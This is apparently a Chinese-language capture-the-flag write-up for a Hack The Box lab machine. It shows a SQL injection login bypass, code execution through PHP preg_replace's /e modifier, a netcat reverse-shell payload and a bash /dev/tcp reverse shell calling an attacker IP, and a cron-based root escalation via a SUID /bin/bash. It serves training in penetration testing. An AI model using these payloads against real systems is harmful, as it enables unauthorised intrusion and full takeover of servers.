0x01 信息收集
1.端口扫描
发现 ssh(22)、HTTP(80)、HTTPS(443) 端口
发现子域www.europacorp.htb
,admin-portal.europacorp.htb
nmap -sC -sV 10.129.199.109
echo "10.129.199.109 www.europacorp.htb admin-portal.europacorp.htb" | sudo tee -a /etc/hosts
2.访问 80 443 端口,页面为Apache2 Ubuntu 默认页面
3.访问子域
访问子域时发现,访问 https://admin-portal.europacorp.htb 跳转到 https://admin-portal.europacorp.htb/login.php
页面
0x02 SQL注入漏洞
1.登录页面SQL注入测试
1)'
字符测试,报错显示可能存在SQL注入漏洞,数据库为MySQL数据库,密码加密算法为MD5
2)#
字符注释测试,在进行注释后,页面跳转到 https://admin-portal.europacorp.htb/dashboard.php
3)刷新页面,绕过登录认证
2.Tools功能下OpenVPN配置生成器利用
输入 1.1.1.1 作为 IP,该虚拟配置文本,每次显示"ip_address"时,IP都为 1.1.1.1。
"openvpn": {
"vtun0": {
"local-address": {
"10.10.10.1": "''"
},
"local-port": "1337",
"mode": "site-to-site",
"openvpn-option": [
"--comp-lzo",
"--float",
"--ping 10",
"--ping-restart 20",
"--ping-timer-rem",
"--persist-tun",
"--persist-key",
"--user nobody",
"--group nogroup"
],
"remote-address": "1.1.1.1",
"remote-port": "1337",
"shared-secret-key-file": "/config/auth/secret"
},
"protocols": {
"static": {
"interface-route": {
"1.1.1.1/24": {
"next-hop-interface": {
"vtun0": "''"
}
}
}
}
}
}
查看生成配置的请求文件,需要三个参数,pattern、ipaddress和text。
pattern参数分析:
pattern参数的值为:%2Fip_address%2F,解码为/ip_address/,在php中,与preg_replace() 执行正则表达式搜索相似。
3.preg_replace() 分析
preg_replace() 函数是 PHP 中的一个正则表达式替换函数,可以实现对字符串中符合正则表达式匹配的内容进行替换。其用法如下:
preg_replace($pattern, $replacement, $subject, $limit = -1, &$count = null)
其中:
- $pattern:正则表达式模式;
- $replacement:替换的内容,可以是一个字符串,也可以是一个数组;
- $subject:要进行替换的字符串;
- $limit:可选参数,表示最大替换次数,默认为 -1,表示不限制;
- $count:可选参数,是一个变量,用来存放替换的次数。
在preg_replace() 中,用带 e 修饰符的代码替换某些字符串,生成一个正则表达式,传递PHP 代码来执行,如下所示:
?replace=/you/i&with=you
输出为you
?replace=/you/e&with=phpinfo();
输出为phpinfo页面
4.preg_replace() e修饰符代码执行漏洞利用
pattern=%2Fx%2Fe&ipaddress=system("id")%3b&text=x
5.获取shell
pattern=%2Fx%2Fe&ipaddress=system("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.25+4444+>/tmp/f")%3b&text=x
0x03权限提升
1. 将shell升级为PTY
使用python -c 'import pty;pty.spawn("bash")'
升级为PTY shell 无效;
使用python3 -c 'import pty;pty.spawn("bash")'
升级为PTY shell 成功。
计划任务提权
1.检查服务器 /var/www 文件
2.检查/cronjobs 目录
cronjobs 目录下有一个root权限的可执行文件 clearlogs,clearlogs 文件显示 /var/www/cmd/logcleared.sh 是以 root 权限执行的。
cat /var/www/cmd/logcleared.sh
查看logcleared.sh,但是显示没有该文件
ls -al /var/www/cmd
查看/var/www/cmd目录权限,发现用户www-data 有权将任何文件写入 /var/www/cmd 下
3.创建 logcleared.sh 文件提升权限
/var/www/cmd 目录具有 root 权限,所以可以通过在目录下写入 /bin/bash 获取 root权限
echo 'chmod u+s /bin/bash' > logcleared.sh
chmod 777 logcleared.sh
间隔一分钟后执行 /bin/bash -p
,获取到root权限
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.25/4444 0>&1"' > logcleared.sh